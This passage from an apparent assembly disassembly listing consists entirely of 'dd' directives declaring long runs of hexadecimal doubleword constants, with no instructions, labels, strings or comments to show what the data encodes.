		dd 278B003Fh, 0E5C7EC0Eh, 0F100C57Ah, 0F5EF2470h, 0ECB4AEFFh
		dd 10CD007Ch, 0E62C2866h, 131D9C04h, 0FD0C78E1h, 5306AEh
		dd 0D0CDF1F0h, 1F8DD7F3h, 0AA5FF0C0h, 405674h, 18147E9Fh
		dd 0DB686126h, 0A08CBE00h, 4CBAF67Fh, 274F00F7h, 7046A429h
		dd 0B000DAFDh, 0FE7BA197h, 3CF86B9h, 8B25B2ADh,	39909E09h
		dd 667CE74Ch, 49F68FF6h, 2B586E01h, 78FBDCD5h, 0FAFDA0FCh
		dd 74A7050Bh, 0C098C4E7h, 45064095h, 0A8488B00h, 87E596EDh
		dd 36B6000Eh, 8C02B1F8h, 5B0910C6h, 0E7A62E8h, 24D1A0ECh
		dd 7C948466h, 3C6E002Ch, 7F80C2B0h, 720041DAh, 478377DDh
		dd 48990Ah, 4A09F949h, 1A1E545h, 619B463h, 0D623E093h
		dd 236F4B2h, 55FB9DCh, 0D446B81Dh, 0FF8F2A00h, 0D97C907Ah
		dd 0E01A60BAh, 54F1810Bh, 0C835E712h, 0A65F8800h, 79EA5Ch
		dd 0B82DD1B4h, 4E021C69h, 0F631BC12h, 9B59B000h, 264C4FCAh
		dd 0A012A4h, 0B988DDF4h, 4200D613h, 0C4C61E90h,	3D6EDA7Dh
		dd 0EF807524h, 472170F2h, 0CB003E0Eh, 3DE6542Ah, 0E09381DBh
		dd 368600BBh, 418BA50Dh, 0D509B011h, 810BAA1Bh,	82CDAF54h
		dd 30A6B760h, 2219169Eh, 4972A5CEh, 0D601627Fh,	20DBC947h
		dd 8040C491h, 121023h, 0E579EE33h, 66FE408Ah, 7F09147Eh
		dd 805FA25Ah, 70ED3BA7h, 7D633C43h, 40E5B99Eh, 0B206CD15h
		dd 0E94C4990h, 3C990088h, 148EB3BCh, 79B8003Dh,	337232ACh
		dd 100AE76h, 6E284867h,	1CB1E694h, 0C0103B19h, 0C6349F77h
		dd 21E67CC2h, 35F38300h, 53BC5FA7h, 8EFA0062h, 0D0252407h
		dd 0B004515h, 79D3A874h, 63E5464Eh, 357BC8CAh, 77C05050h
		dd 0DA156801h, 0CB31CFD8h, 5A002062h, 6ABE4053h, 5003BC4Ch
		dd 32E1AFF7h, 0AD83A8C9h, 5CD10087h, 706C316h, 840CE9A2h
		dd 4813DCC4h, 935209DEh, 9400301Fh, 0F4F7D56Bh,	0F245549h
		dd 4640D313h, 0F615CF5h, 2FE269CAh, 32934F20h, 8F025B8Ah
		dd 2B0C23D6h, 0F90860D2h, 0B88800F0h, 81B3319Dh, 0B7154CAh
		dd 0D5F7FC00h, 8647F31Ch, 0AB850012h, 224CF082h, 16263517h
		dd 7D00FB7Ch, 146B20FCh, 0FDE5003Ch, 9A48B5A2h,	0A50061FFh
		dd 0F895373Eh, 0DBE893h, 0C050C53Bh, 4FDEFBEDh,	90F0F176h
		dd 0EEB11400h, 0CDCB958Eh, 41D60012h, 9AC6B068h, 8607044Bh
		dd 76165AF2h, 5366B9B0h, 0F7B439F1h, 3D38E780h,	0B261D586h
		dd 2B0B6700h, 4F36ACA1h, 0E52E001Ah, 0E28447D3h, 7250E89Fh
		dd 881C9B94h, 0D11DCB25h, 0F60063DEh, 941CEC9Eh, 0B67A0012h
		dd 179D8DEFh, 0BA00FBD4h, 0D2164AFAh, 4847473h,	0A63A055Ch
		dd 66C080C0h, 0B924F6B4h, 70023891h, 0E0334741h, 380274h
		dd 67F530FCh, 6CDFFA84h, 4C000170h, 8533E36Fh, 0AC0A25h
		dd 0ABC790B3h, 98740E7h, 7BD95200h, 35819684h, 0BA90085h
		dd 0C80870B1h, 0BAB03CD8h, 2709C9C0h, 1D3CD60h,	0A6D01CC0h
		dd 210682E5h, 0BB1040C3h, 0AB3EFA2Dh, 7D10E055h, 9E268Eh
		dd 3E97E5C9h, 0DF9A8D3Dh, 0E794E00h, 14A57F89h,	3683009Dh
		dd 0F456F140h, 95006B33h
		dd 0A6780E0Bh, 65F632h,	2059AC6Ah, 0B8BF4271h, 316E38C0h
		dd 8196Dh, 29B6C682h, 0B995E116h, 0FE9C0901h, 5EAB521Dh
		dd 0FBFAB89Fh, 0C637F700h, 2D223935h, 0E236FB0Bh, 7760385Bh
		dd 326F0F4Bh, 9EA00623h, 5CD970F6h, 0C3A0F20Eh,	9A16C35Dh
		dd 214990D1h, 3D6DF271h, 4802D075h, 74FB4CA0h, 0CB3F5540h
		dd 0B2734200h, 0F2A39180h, 0A8591FA9h, 55D880B0h, 51AB6F4Fh
		dd 0E4B249h, 0A373DD78h, 7298FAh, 0AB6D1F7Eh, 0FF6B5E0Eh
		dd 0E4BBA90Eh, 496660BFh, 1E130747h, 99EFA1Ch, 9800F648h
		dd 2A525B44h, 5F97990Eh, 0C99440CDh, 1F2112h, 0F036DDE2h
		dd 0AB6E6C5Dh, 52042301h, 0A2B6C217h, 0C5019C28h, 103942C9h
		dd 2A908E3h, 28D05AECh,	13C00BBBh, 0ED03AAE8h, 6EFD7DF9h
		dd 0AFF1B096h, 38070782h, 2350869Eh, 0E890D879h, 443A97D0h
		dd 0D56F9C52h, 77F53870h, 66D93DE1h, 42746D80h,	0AD89E2D1h
		dd 0B67D6000h, 878D9B83h, 0C82100F1h, 39E3D07Ch, 8F3A6391h
		dd 0D800F9E4h, 0D2DD3426h, 3C285Fh, 0B24AB078h,	0C64D652Bh
		dd 0F9E8E600h, 2DD210C7h, 114E4BFh, 6BA799DBh, 0BB599D0Bh
		dd 0FA8A0031h, 940723F1h, 0EEFE0091h, 578F8D5Ah, 100EC3B8h
		dd 606D0387h, 0C8D1733Eh, 1B68000Ch, 0BFF0233Fh, 7400B0BCh
		dd 9F2631E2h, 51AFB8h, 7919203Dh, 1E33215Dh, 6DA079C7h
		dd 340143E0h, 350407A5h, 4012C31Fh, 0C5E379F5h,	0AD661B03h
		dd 0A06FFAA9h, 9A2B5D8h, 6146A099h, 0F719C180h,	8300C66Ch
		dd 7462E34Bh, 0D40266h,	0C27E59D1h, 730C875h, 0FEFB1D00h
		dd 8B5C9EE4h, 0A6BA009Ah, 7577013Fh, 84007C10h,	856E709Ch
		dd 5F1822h, 2CE554EAh, 0C0516831h, 4D0D1300h, 0A0FC0CB0h
		dd 640E0020h, 7B3D5C7h,	0DC034687h, 0B69E752Ah,	4A82984Eh
		dd 31B8002Ch, 16F5AE7Bh, 0BE0EDC1Fh, 82E2243Fh,	0FFB0454Eh
		dd 47B2D7C0h, 0B0F627Fh, 0E0F66EEEh, 5C407A31h,	591A00D2h
		dd 718E2817h, 0B8301151h, 0E03A400Bh, 6981184Fh, 0FAC1100Ch
		dd 462CB200h, 0CE916F0Dh, 5C88002Bh, 8CD25550h,	3200DC9Ah
		dd 0E8DE5609h, 1116349h, 0BEB6F88Eh, 0E1A1ED2Dh, 0B7CEC4E4h
		dd 84E3Ch, 33885F50h, 900F66B8h, 0D1700009h, 0AA82F55Dh
		dd 50006C87h, 322B043Ch, 592D8Dh, 8335DA41h, 0B33E81C6h
		dd 0C45CE203h, 0F8D3AC38h, 7930E646h, 7DC001D0h, 0F41789F1h
		dd 0A21D30C9h, 5FC8DB00h, 6F5551DDh, 0D6AB0056h, 1AE1CD0Fh
		dd 98074CA9h, 0D017F07Ch, 79BD4E70h, 34A0008Fh,	279ED1A8h
		dd 69F04067h, 0EFF47271h, 960BBE00h, 9330497Bh,	2892039Fh
		dd 0B71D1839h, 0CCA9B9C2h, 205C9B80h, 0E71F082Ch, 0AA8CBAC8h
		dd 0A075085h, 25FB82A0h, 0B0EA00B0h, 0CA554733h, 0B3409500h
		dd 51625F41h, 9E6A0019h, 0F583B7F7h, 0DFE9D6BCh, 7B7F2DE8h
		dd 781F2907h, 6CF00BCBh, 71DFD238h, 170D0008h, 0F9EA5A12h
		dd 77002CA7h, 0A56741FFh, 9DED0h, 55AA42C0h, 0BA21E15Bh
		dd 16882A00h, 94623B81h, 8B72009Ch, 0F9F09BD2h,	8400C2DBh
		dd 759978B5h, 9C660AFh,	6DB2562Ah, 0C59FF400h, 0FA00D532h
		dd 0A03E14E3h, 0AA518Eh, 0AB04A883h, 74DA81BBh,	630F7912h
		dd 0BC861202h, 4D3C4067h, 93F00305h, 0F3A27F78h, 2FEA0AA0h
		dd 0EEF6AF90h, 0B2004F77h, 0E5F057ADh, 51C4E6h,	1CB6CA0Fh
		dd 97299660h, 84A9D500h, 8269950Ah, 0E2B448C3h,	32EF007Dh
		dd 1DC1EA7h, 100EAD28h,	87C23572h, 92B06FD4h, 4868A83h
		dd 1556170Eh, 0EC64808Dh, 245831B3h, 94B900C0h,	847387F6h
		dd 3BAB07Fh, 2DCCC09h, 0C1E4E42Eh, 0ED26C49Eh, 58F4E432h
		dd 701AFA00h, 9D426BB1h, 465A00BEh, 6FFC4554h, 673A0757h
		dd 217A00ACh, 610A6637h, 0BE9C00C9h, 8825F069h,	0BB0E204Bh
		dd 0E0C6720Dh, 779ABA65h, 0F5730170h, 0DE546360h, 0FE86D45Fh
		dd 648F1900h, 7817D6DAh, 5E3F037Ah, 0F0037C07h,	0B4B3F6B0h
		dd 701D4803h, 0D0D59925h, 6CB592h, 0CE5007A0h, 0C381AD33h
		dd 6EC7E03h, 0EFC9E110h, 809B7AC0h, 5EA900A7h, 0F5B4C811h
		dd 0DA00B3CBh, 7BCEFC3h, 0B823ED2Bh, 3465005Ch,	5E596D7Ch
		dd 0E300B2A2h, 354A7EA7h, 1E2F287h, 8CDC9492h, 70FE22B8h
		dd 18000716h, 5C281062h, 3B9EC0Eh, 41B74602h, 0F1E9333Ch
		dd 3A6083E8h, 0A3E0E4F4h, 881AC083h, 4E52242Ch,	8FB31DD2h
		dd 0BA83842Dh, 0DDC1C806h, 2E119E7Ch, 6B801E1Eh, 63B34C9h
		dd 2ED5B805h, 32C83E5h,	0F2EE045Dh, 2BD42AF0h, 20C3477Ah
		dd 1C2856B4h, 15B38378h, 5A003076h, 7FBE3323h, 2075841h
		dd 464DE0E8h, 0A5B213D0h, 36AD30ACh, 45BBEDA8h,	0EE5224A0h
		dd 34D01600h, 2A8A7494h, 551C0068h, 5D7E899Ch, 0F700E3D6h
		dd 0E65B8BBFh, 7D3B7E2h, 0B0053449h, 50A2D0EDh,	0A9793ADAh
		dd 3CA2B558h, 6E9C9CC9h, 134C2487h, 1EB888B0h, 0EB2A1D1Dh
		dd 0C1948978h, 28410355h, 0AEE9D9BEh, 0E2E3270h, 45F17511h
		dd 14A44E9Fh, 58CDDDE0h, 5F07B7B1h, 80A255B2h, 3C854E0h
		dd 1C6E003Ch, 0DDAE1141h, 4F1DD1FEh, 0C2C11BBAh, 71D87EC6h
		dd 98BC30h, 93F8B71Ah, 0F25FCE54h, 6D00727Ch, 0C7BB8661h
		dd 0EB0ED26h, 0D71871D0h, 40E7A607h, 65F99497h,	334FBE07h
		dd 0C130DA6Ah, 0A8D1102Bh, 0EE33AA4h, 3C5DA006h, 4374101h
		dd 47088C68h, 7C22024h,	952A01Eh, 8A3B00ADh, 0A31FBB54h
		dd 0CAC08F46h, 0B797947Fh, 3D21F6Fh, 380C5B32h,	1136823h
		dd 3C5CA005h, 0C0911818h, 0A01D2921h, 7539AA5Eh, 0C6F98248h
		dd 84C5C4h, 0F7E2D74Eh,	0C1BA010Eh, 5AF1E0F0h, 3FDA4832h
		dd 0DB0143BCh, 6C964D3h, 560C242Eh, 3C42AF00h, 0A234D759h
		dd 0CFA8C7D5h, 8332032Bh, 301222A4h, 4311A004h,	5D8A103Ch
		dd 1CC48088h, 0ACE345A0h, 0A1CAC737h, 8811EFB3h, 774709h
		dd 55A856E0h, 0A830722h, 0BFCC181Eh, 883605CCh,	0F23A125Ah
		dd 4DBC2033h, 73A425Eh,	2FCB03BAh, 0A3C87662h, 202100EBh
		dd 0C7A84306h, 0A2781641h, 0CEF52A00h, 8EB5BB61h, 0BE5A2C3Ah
		dd 0A3100768h, 95FFB1D5h, 0E0E8B071h, 507486FCh, 1D3AD0C0h
		dd 3EE5DBE4h, 9E12A20Fh, 88181FE0h, 0CC004B3Dh,	6D7541F1h
		dd 5B0A4Eh, 10C7978h, 87E6EB98h, 2C2DB60Bh, 2824007Bh
		dd 0B8C15Ah, 3D93CBD6h,	9D4AAD36h, 0DB5E4900h, 2B32D811h
		dd 0A20F00C3h, 9FB046EFh, 8F03D265h, 4EB54CAFh,	0A4ABA087h
		dd 7D1B00E4h, 0F68A88F7h, 0E300B7FBh, 756F3C64h, 5CC18Dh
		dd 67B48F5h, 0EDC32DA6h, 2C008CFAh, 6A5FA2DFh, 39DE36Eh
		dd 2877E80h, 2FE1E51Eh,	64188018h, 0A7B22EC4h, 0A07B73h
		dd 66D4A93Bh, 0AB9DF376h, 44192A16h, 98D24C07h,	3C65C3h
		dd 0DC569B38h, 62C9E908h, 0AA2BF41Fh, 8492DFC0h, 0D6FD8B8h
		dd 1B080A0Fh, 2BF1D831h, 2814A800h, 5B4B5580h, 0C7630720h
		dd 537160FCh, 4890329Fh, 0E81DB7E7h, 8258389Bh,	1DFE19B0h
		dd 30571C65h, 0C9B86EF8h, 5ECDC7FCh, 7FC8C915h,	2A8C00B3h
		dd 41A5DDF6h, 0EA00E5F1h, 0BC9CEC0Ah, 0D90C26h,	665F648Bh
		dd 0A562A0A4h, 0CDFBE21Fh, 5BADE500h, 14BE4AAh,	0F31F1567h
		dd 834D7E98h, 231EEC1h,	6BBEB982h, 50D07085h, 4D42800Ah
		dd 540088B4h, 68D89710h, 18FEF74Ah, 0B1FA4102h,	5C01992Ah
		dd 0FD1D43FBh, 60BB77D8h, 418DF680h, 0B8EF4E49h, 8E1EB07Eh
		dd 4400CA52h, 67BB249Bh, 410D053h, 56970CFAh, 1C6678B0h
		dd 0C7AB1280h, 0D7B44CEBh
		dd 8933D364h, 0F9BB5DC3h, 66AD27C8h, 29175232h,	0F1C51058h
		dd 4445EC40h, 228431E9h, 4722B724h, 88E179F3h, 30891A8Ah
		dd 0DD446308h, 18FC840Dh, 80B69C88h, 91E2EE2h, 0BEC0F1B9h
		dd 0A1285BE1h, 735A0053h, 0B827196Dh, 0E00AD1Ch, 30D5852Fh
		dd 743BDB7Eh, 699C00AEh, 0FEEE1225h, 810E5990h,	0A079386Ch
		dd 73E0E9DBh, 0C59E019Ah, 0B53C22EEh, 0C471F82Fh, 0FE555Ch
		dd 7308AC63h, 3FE99E8h,	6D06AF12h, 0CDB8EA2Bh, 0C8007926h
		dd 283D058Ah, 897D82h, 51F8B663h, 701EA4F7h, 0D66F4B00h
		dd 2098758Ch, 0DA1801B8h, 536AD234h, 858AC80Eh,	14FED39h
		dd 8FB445DCh, 80D2E508h, 69C404DCh, 44A401BFh, 32E64D13h
		dd 0FD59E0F6h, 7EF4BE03h, 0F016F889h, 0ECB29C46h, 4C1E0327h
		dd 0A38A06B0h, 2E05C6B0h, 8532D618h, 0FA710h, 26015BACh
		dd 0A6D86F96h, 3145248h, 0BB329B2Dh, 6C90A0EBh,	87E500D5h
		dd 86F7825Dh, 5E009856h, 93845288h, 8A9E7Bh, 0D09C2E75h
		dd 0EDA7BBA3h, 0B5986D00h, 0F96B23DAh, 8839004Fh, 46F3A1CCh
		dd 3A07C70Ah, 6DE2485Eh, 2ECB5F10h, 3A417129h, 0BC80D3C6h
		dd 4E8144B9h, 0F204156Eh, 6903ED88h, 7A3BC0ABh,	80015D11h
		dd 0B7363C27h, 35F44CD5h, 0D5B832h, 0A60A937Bh,	0DD87E044h
		dd 0E9D88800h, 2D08B96Ch, 84D549CFh, 7FB513Eh, 2BA267Ch
		dd 0C44F7F23h, 31C28DE0h, 0B7009B21h, 0A0AA9060h, 1F9512E8h
		dd 80F7FF6Dh, 7935808Dh, 0D801B386h, 67A64274h,	40D6448Fh
		dd 0FA83424h, 0D7F1A985h, 83FDA5C0h, 0C754888Dh, 7A2895E0h
		dd 3D00D8DEh, 0D991A048h, 70E2FFh, 1A11825h, 8E0FB7DAh
		dd 1762B605h, 0D002205Ch, 45395B3h, 0A1DF000Eh,	0ADC5F8h
		dd 57FEF4A0h, 631F0F8Eh, 127A1400h, 352D2F54h, 0E6E300D3h
		dd 6147506Dh, 0C600DFE9h, 1C0E0C02h, 0EF8A34Eh,	68D794C0h
		dd 0A2CB2F82h, 1931EC81h, 8C4D20CCh, 28278504h,	8F80E5ABh
		dd 0CE4472h, 0AA914B4Eh, 859B7742h, 0A6155D0Fh,	52F762E1h
		dd 0DBC84819h, 281E04D4h, 81897BBDh, 0C8D8D9C1h, 870074E3h
		dd 0A910516Eh, 3281A15h, 2B4F8A52h, 26C857D7h, 551EE9B7h
		dd 1780238Eh, 9A750E31h, 467C09C6h, 0A803F83Dh,	0EFA8A8ADh
		dd 7700C1C4h, 35B05439h, 0B26003h, 0A3E282Ch, 0A50118B5h
		dd 9E6F9F07h, 0ED70F813h, 392EB7h, 8665EC3Ah, 85CB5354h
		dd 0AE922300h, 0D8D7D6EBh, 0DA3C05D0h, 806BB5F6h, 35C781B4h
		dd 0BC1FCC7Ch, 9740C5B4h, 533FF4A1h, 643938B9h,	5038B201h
		dd 0F0C7515Bh, 5400AC49h, 65F6B6C9h, 0E05A0Ch, 0B39CBF16h
		dd 535D32DAh, 0B721C513h, 0C6CF3000h, 0A0CE125Ch, 356BF0h
		dd 0ADB82D4Ah, 90DC6E34h, 0D33A8024h, 34F1C00h,	1950E9h
		dd 0FDAAF222h, 0BCCFF09Dh, 8E148501h, 400A60CAh, 9872C20h
		dd 0D9E71E56h, 5B904480h, 0B9002EA3h, 36E63CACh, 18669659h
		dd 30436C3Eh, 521421BEh, 0FA4D45h, 18878832h, 0F90B795h
		dd 601ACC9Fh, 816B306h,	0CF5BC700h, 77BF650Ch, 0D8000EEh
		dd 62E67B22h, 2900ADF7h, 96246E51h, 0A0A4C52Bh,	7594585h
		dd 816D2ECEh, 0A05EA050h, 0EB00D0E4h, 3EC84418h, 0C02E0602h
		dd 0B30A6931h, 0DE0E8B40h, 0E03BF980h, 9719A6FAh, 659D00A5h
		dd 60F5118Dh, 0C5004DFEh, 6BB0A13Dh, 73487Eh, 1C9032D5h
		dd 10BD0349h, 571E3524h, 780D0400h, 1F82775Bh, 80BFDE2Dh
		dd 0F9758F56h, 9E00CC83h, 0BCF14E7Bh, 7237DBC5h, 9D92007Ah
		dd 5EECD0E6h, 5890C9D2h, 0E7587E0Eh, 0CEFD8096h, 0E2142485h
		dd 0A498046Bh, 0C0B1DA70h, 5D45538h, 0A59EF4A8h, 858EF402h
		dd 40735F06h, 7682CB8h,	1B137CCAh, 0B65B90F1h, 1200FFC0h
		dd 0AE59324Ch, 0CBFD79h, 72E46301h, 9740156Ah, 54A8D200h
		dd 80A287A0h, 0C120C0CAh, 0CC2D84EDh, 60BAEF13h, 62C3BC00h
		dd 3D7A0A59h, 3684C261h, 0C07D9AA5h, 64381628h,	2566BB00h
		dd 142CB55Eh, 3EAF134Ch, 8BCA0021h, 0C82E8804h,	0AB73DD00h
		dd 0A1C7268Dh, 0D46F033Eh, 0AA2A21AEh, 0B487D380h, 0A8F13100h
		dd 52831622h, 4271B2h, 58DD980Eh, 0C33BFE8Bh, 0F4D09E01h
		dd 33B251DCh, 3299060h,	56F514EBh, 0DC00F672h, 0B85BD3F1h
		dd 0F06C86h, 8910CB4Fh,	0DE2B1C95h, 44311A00h, 477C73Bh
		dd 0BBF881h, 62FE3598h,	0FBE81E6Eh, 0E13B08B0h,	0A82C0955h
		dd 8E1080B1h, 0A13070h,	859F952Dh, 0FAE0BD88h, 3BB2F400h
		dd 77698274h, 703A07F2h, 0A09B3D1Ch, 92018ECCh,	0DC58661Eh
		dd 91EBB4C0h, 0D8ADDFh,	0A0570904h, 0A720ED44h,	0EA05CC00h
		dd 0AC804B93h, 62FC00E2h, 6AA119BAh, 3E001858h,	8CCEFEA7h
		dd 3006D035h, 96741629h, 6670E6F1h, 0C1FBBF00h,	0CF33C54Bh
		dd 23FEC99h, 90825818h,	60C35998h, 0E7539C0h, 768B6900h
		dd 5D34D5B8h, 0D784A826h, 0C96400F7h, 0E0887C82h, 322CDB4Ah
		dd 270B04D2h, 0D658A0E9h, 1F92BBB2h, 0E4AA23h, 6BB61293h
		dd 1D009B76h, 4DC8577h,	0D3E7CCh, 0D673B8DFh, 0C039FD63h
		dd 4169AF04h, 18C74E6Bh, 0EDE61DD0h, 30BC07E1h,	39A22A3Ah
		dd 649E480h, 0A63C45C4h, 2D90098h, 1CC3B16Ah, 8BD6070h
		dd 0B2123E74h, 8F28D200h, 72C720ECh, 0B58412A0h, 0D1621435h
		dd 0B689FB05h, 7533C0F9h, 37CE8FCh, 0A3EB520Eh,	0BEEA81ACh
		dd 0B06B2B80h, 3A98A6E7h, 0B90022F0h, 745591DBh, 25975Fh
		dd 17E8F45h, 96D4E790h,	0AA7B7C00h, 345113A3h, 32EF02FFh
		dd 56C7B989h, 0E54CB481h, 0F61C304Bh, 0B933053Dh, 143B80E1h
		dd 0C1A42C42h, 97493850h, 0F6B7E680h, 2FB606ADh, 74193Bh
		dd 0AA6AC1FAh, 1D670C3Eh, 6A70B594h, 3FBF01B4h,	0D1770698h
		dd 0DD5AE52Ch, 0C71034F9h, 6E302500h, 188F54F1h, 0FCDD00AFh
		dd 33F053B5h, 0EA0076D3h, 29BB7BB4h, 0EAF8734Dh, 0B3D10003h
		dd 0AF0779B9h, 8B01B435h, 0DD6B0130h, 0F07BEF84h, 31019A8Ch
		dd 647F88DCh, 83C48AA5h, 3787C33h, 77673CF2h, 0F0D08BA9h
		dd 0D2007AEBh, 5971BA2Dh, 3966D6h, 0FC69C55Dh, 79579BB8h
		dd 5B544700h, 4E89E842h, 5E4256Dh, 7A463480h, 0D8BDE3C7h
		dd 99A90264h, 2A258320h, 0E2527CE0h, 973F2408h,	0B5803B29h
		dd 0AED29B9Ah, 37FA592Eh, 3036801Dh, 0EB568680h, 0E327B06h
		dd 0D861463Dh, 0F0B7B620h, 71902EE1h, 0D13CFCEDh, 1ABCE300h
		dd 0C797E6D2h, 89BE0003h, 0CB6BA3FBh, 610308B2h, 969E553Bh
		dd 4C22C0ECh, 34581C8Ch, 0CDA98003h, 0A359D13Ah, 1CD5DE00h
		dd 71B0DA9Ah, 0E06303B8h, 55F654BAh, 0FBEE000h,	0ABE728ECh
		dd 424E00D9h, 9A2DDC13h, 809212FEh, 1B7F6C01h, 0EB76162Eh
		dd 323D460h, 0BA1D26FBh, 0E9D04456h, 0C3000B61h, 3C92AB7Fh
		dd 0A2367Eh, 0FB99181Eh, 0C5A8DE9Bh, 0F5208900h, 3EBF4CC2h
		dd 0B5F20036h, 7D950747h, 0B705642h, 6F963C00h,	543760EDh
		dd 0DE1500CAh, 674F4DE8h, 2C0AF453h, 8874CEB3h,	45EE3028h
		dd 0BF04C304h, 90C5FFA3h, 0ED2D3C40h, 3AF80F72h, 0E080B907h
		dd 24C80CABh, 390075AAh, 9C535F25h, 38FE9F01h, 0DBC81C6Ah
		dd 88388514h, 5867A603h, 0AA5A7623h, 7CB4F0A0h,	76C7BF9h
		dd 7894FD29h, 0A7841089h, 26001FCEh, 0EF2D15BFh, 0B69B5Dh
		dd 9D5B8EC6h, 8D327DD6h, 2416FB30h, 0C3C768BAh,	2761CFD1h
		dd 0AAF7B3E0h, 7DBD0B00h, 0F1FB7E5Fh, 0A67609DDh, 0B7800CEDh
		dd 0AFC5FF24h, 0CE5A2B00h, 0C4B713FAh, 0DF7193h, 8C890CDDh
		dd 9E1494BBh, 6D54B302h
		dd 0E678AB7Dh, 0E38C0AD4h, 58F040DAh, 2008B31h,	0B0BB700Bh
		dd 8ADF23h, 5B5F5E9Ah, 6FF7C46Ah, 0D62DA000h, 3DF50A19h
		dd 9D4D013Bh, 367BB8F8h, 0FCC1F697h, 1A19CC14h,	2995AA03h
		dd 98630237h, 0FA30EB2h, 36250B7Ah, 0DF2F78F8h,	972DA500h
		dd 0E3144F6Eh, 71E5001Eh, 750B8760h, 16004689h,	0B822CAC9h
		dd 779CFF74h, 2770058h,	0F7D49B28h, 9F004AC0h, 54B95A29h
		dd 5EA313h, 7C759542h, 2088B299h, 1D2EB607h, 83E021D1h
		dd 3008911Bh, 0C4B62911h, 128BA76h, 7500CEE1h, 8FEA9F8h
		dd 0C294BFh, 7AA18617h,	0A4102B1Bh, 899F2800h, 74AEFCA0h
		dd 63F000EAh, 6A5FABF7h, 2C1348C8h, 0AE03E383h,	0C09092D7h
		dd 729CDEh, 0AE8193F7h,	377043A6h, 5F006F78h, 806744EDh
		dd 7A5549h, 4A321AC6h, 0E4E18684h, 1E0059E6h, 9A7C8E7Dh
		dd 3DF8462Ah, 0AA0026D8h, 4B8A2DEEh, 6000DFF0h,	0BF74115Dh
		dd 4C8D4E65h, 0E87F08A5h, 0E2E68Eh, 0B6BE2D7Fh,	0D79F1F20h
		dd 14E82A1Eh, 3405CF40h, 799102h, 3A446021h, 5BC118ABh
		dd 32DCBA00h, 3D74511Fh, 6631CFEh, 55E2001Bh, 0E90F4CCBh
		dd 356E4903h, 85512798h, 0BEB62780h, 0FC0800EFh, 0DD832820h
		dd 103D7A29h, 0B6584BBh, 7BC3ECC8h, 602FF8FEh, 0CDB93C66h
		dd 8554600h, 763F42E6h,	0AD2DE007h, 0C450DF04h,	4FE35Ch
		dd 0C2936C7Eh, 3ECF2A49h, 38765B00h, 0E23D3618h, 18D36148h
		dd 305CAA13h, 1200FAB9h, 0A91ABD01h, 0EBA9336h,	39580A82h
		dd 87033503h, 5313CED0h, 0BB6D2E00h, 85770C3h, 0C27503E3h
		dd 0F707A240h, 0B8CC3CF0h, 0DC8AC500h, 0E41E12F8h, 0A0CB7A14h
		dd 0F4727A8h, 69400F6Bh, 73520D23h, 96383A00h, 38E60F2h
		dd 0C06B0086h, 0B447C235h, 0E00017F5h, 0C31BBC9Ah, 120C923h
		dd 295944Fh, 0DC9CD74Eh, 0CB002801h, 87F36B79h,	14E5AD49h
		dd 5058F0B3h, 0A9DEAE00h, 24D8413Dh, 0F8280400h, 6E69434Ah
		dd 9CDA0014h, 0BB3791BAh, 73002711h, 568E1892h,	0B61B257h
		dd 1758D1C1h, 0DAE78F03h, 33CE9BC0h, 0BC4AD700h, 25F5478h
		dd 68843090h, 83EABF11h, 0ED003271h, 0FDBD1FECh, 909E4B37h
		dd 4753002Ch, 0F2B993D7h, 8935A490h, 5800902Bh,	1BB66BF1h
		dd 0ED8B0ADFh, 0FCEB7Dh, 8601071Dh, 3A306804h, 41922861h
		dd 2E880069h, 200C1960h, 0C0733D75h, 3C44DC00h,	9D9A6B64h
		dd 6700E63h, 9E84980Dh,	0F7C38083h, 27002A9Bh, 0E68554D1h
		dd 0F63B581Eh, 40100024h, 9ACFF1A3h, 0FD0071BFh, 0E72A67EFh
		dd 0A44D72h, 0BDF863B9h, 0CA762F51h, 1D113200h,	2882625Fh
		dd 10B7877h, 0C28012FDh, 40BFF2D6h, 4E8B4BFCh, 3D84F300h
		dd 479901DDh, 0BC0B00A7h, 5254C95Ah, 0FF009A57h, 0C32650ACh
		dd 0EBF12Bh, 3FB89EDCh,	4C567DFh, 11884B00h, 0A0D34A19h
		dd 7B87804Dh, 80476F00h, 0CCEACD93h, 0A6D11361h, 53300060h
		dd 8543BF64h, 7A5E7C0Ah, 0C3A8A8EEh, 3E0BEA70h,	0DD401Fh
		dd 0E8B50EA1h, 291A1375h, 0E2DC0057h, 0C6988CE7h, 7300A37Dh
		dd 676F25C5h, 704F3554h, 912D00B0h, 0A6C20CA4h,	7F0087B4h
		dd 0C40BF26Dh, 712B8258h, 0F71D00E8h, 29B2911Ch, 0C0019241h
		dd 0ABDCD48Ch, 89D4909Fh, 66D32656h, 0C5468F88h, 0F55B3DE0h
		dd 203F73B0h, 54BF9D34h, 8ED7E009h, 0EF9002E5h,	3AB3E092h
		dd 48DD00FAh, 7FBAF40Eh, 2B4C01DBh, 0E601722Ch,	9A9F87F2h
		dd 460B433h, 80F05151h,	54DD9680h, 44F65E0Ah, 0B3682D07h
		dd 0B150285Fh, 622B84B5h, 0C7130985h, 19E210C0h, 8D57B600h
		dd 0F45BB205h, 628F001Eh, 7CB017D7h, 9960C5C1h,	228D9778h
		dd 0FC980604h, 9121F538h, 51119F58h, 7E41E008h,	6F7CBC0Eh
		dd 814A8E45h, 0C3DBA097h, 6837218Ah, 5DA1001Ch,	55983D22h
		dd 394658C2h, 0BB9E0FEh, 29EC0583h, 3F63752h, 0C9356C18h
		dd 40CDA0D1h, 5C8C9628h, 0E33FC090h, 75390631h,	9828091Dh
		dd 0BD60930h, 0FCA18DE0h, 0BCB57613h, 19310238h, 0EC0A52h
		dd 1F7CE24Bh, 35107A50h, 418DDC07h, 0FD0C10Eh, 0D9135Eh
		dd 0C89B2BEAh, 96275890h, 0DF087500h, 5628A6ABh, 0B4F41F97h
		dd 47DEC0DBh, 0A150BA7Ah, 66139500h, 0BC2A24EDh, 265B037Eh
		dd 0C8CD1218h, 0DA844387h, 21B94EA8h, 4413ADF6h, 3F0758BDh
		dd 80405A43h, 130A1h, 3ABED073h, 0C808C274h, 4E641B00h
		dd 1C8A687Fh, 7FA5CE5h,	76BBA003h, 12D82256h, 9414EE92h
		dd 13ACF930h, 703A209h,	0E1E2F5F1h, 7FF1247h, 0BCDE6A18h
		dd 9CF0C0FFh, 0B6DEC1F6h, 20895880h, 2A07BD14h,	0A49D7Dh
		dd 64F40356h, 21555937h, 8011333h, 4F2100BFh, 251CF44Bh
		dd 9C1AD1E6h, 2050BD16h, 0E99A20E4h, 673800E7h,	93F66CDDh
		dd 1E604107h, 7D39C021h, 25980332h, 4D9FB522h, 21230830h
		dd 7D4F5Fh, 0DC256EB8h,	0CD364316h, 651D4D00h, 802CBA9h
